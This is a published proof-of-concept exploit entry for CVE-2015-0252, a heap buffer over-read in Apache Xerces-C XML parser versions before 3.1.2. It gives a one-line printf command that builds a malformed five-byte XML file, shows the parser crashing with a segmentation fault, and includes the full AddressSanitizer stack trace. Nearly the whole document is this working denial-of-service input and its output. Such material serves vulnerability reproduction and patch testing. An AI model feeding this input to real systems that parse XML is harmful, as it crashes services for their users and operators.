Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)

# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC

# Date: 2015-05-03

# Exploit Author: beford

# Vendor Homepage: http://xerces.apache.org/#xerces-c

# Version: Versions prior to 3.1.2

# Tested on: Ubuntu 15.04

# CVE : CVE-2015-0252



Apache Xerces-C XML Parser Crashes on Malformed Input



I believe this to be the same issue that was reported on CVE-2015-0252,

posting this in case anyone is interested in reproducing it.



Original advisory:

https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt



$ printf "\xff\xfe\x00\x00\x3c" > file.xml



$ DOMPrint ./file.xml   # Ubuntu 15.04 libxerces-c3.1 package

Segmentation fault



$ ./DOMPrint ./file.xml # ASAN Enabled build

=================================================================

==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c

at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798

READ of size 1 at 0xb5d9d87c thread T0

    #0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer()

xercesc/internal/XMLReader.cpp:1719

    #1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*,

unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761

    #2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer()

xercesc/internal/XMLReader.cpp:576

    #3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short

const*) xercesc/internal/XMLReader.cpp:1223

    #4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short

const*) xercesc/internal/ReaderMgr.hpp:385

    #5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool)

xercesc/internal/XMLScanner.cpp:1608

    #6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog()

xercesc/internal/XMLScanner.cpp:1244

    #7 0x8d69220 in

xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)

xercesc/internal/IGXMLScanner.cpp:206

    #8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short

const*) xercesc/internal/XMLScanner.cpp:400

    #9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)

xercesc/internal/XMLScanner.cpp:408

    #10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)

xercesc/parsers/AbstractDOMParser.cpp:601

    #11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398

    #12 0xb6f5272d in __libc_start_main

(/lib/i386-linux-gnu/libc.so.6+0x1872d)

    #13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5)



0xb5d9d87c is located 0 bytes to the right of 163964-byte region

[0xb5d75800,0xb5d9d87c)

allocated by thread T0 here:

    #0 0xb72c3ae4 in operator new(unsigned int)

(/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4)

    #1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int)

xercesc/internal/MemoryManagerImpl.cpp:40

    #2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int,

xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68

    #3 0x8daaaa7 in

xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&)

xercesc/internal/IGXMLScanner2.cpp:1284

    #4 0x8d6912a in

xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)

xercesc/internal/IGXMLScanner.cpp:198

    #5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short

const*) xercesc/internal/XMLScanner.cpp:400

    #6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)

xercesc/internal/XMLScanner.cpp:408

    #7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)

xercesc/parsers/AbstractDOMParser.cpp:601

    #8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398

    #9 0xb6f5272d in __libc_start_main

(/lib/i386-linux-gnu/libc.so.6+0x1872d)



SUMMARY: AddressSanitizer: heap-buffer-overflow

xercesc/internal/XMLReader.cpp:1719

xercesc_3_1::XMLReader::refreshRawBuffer()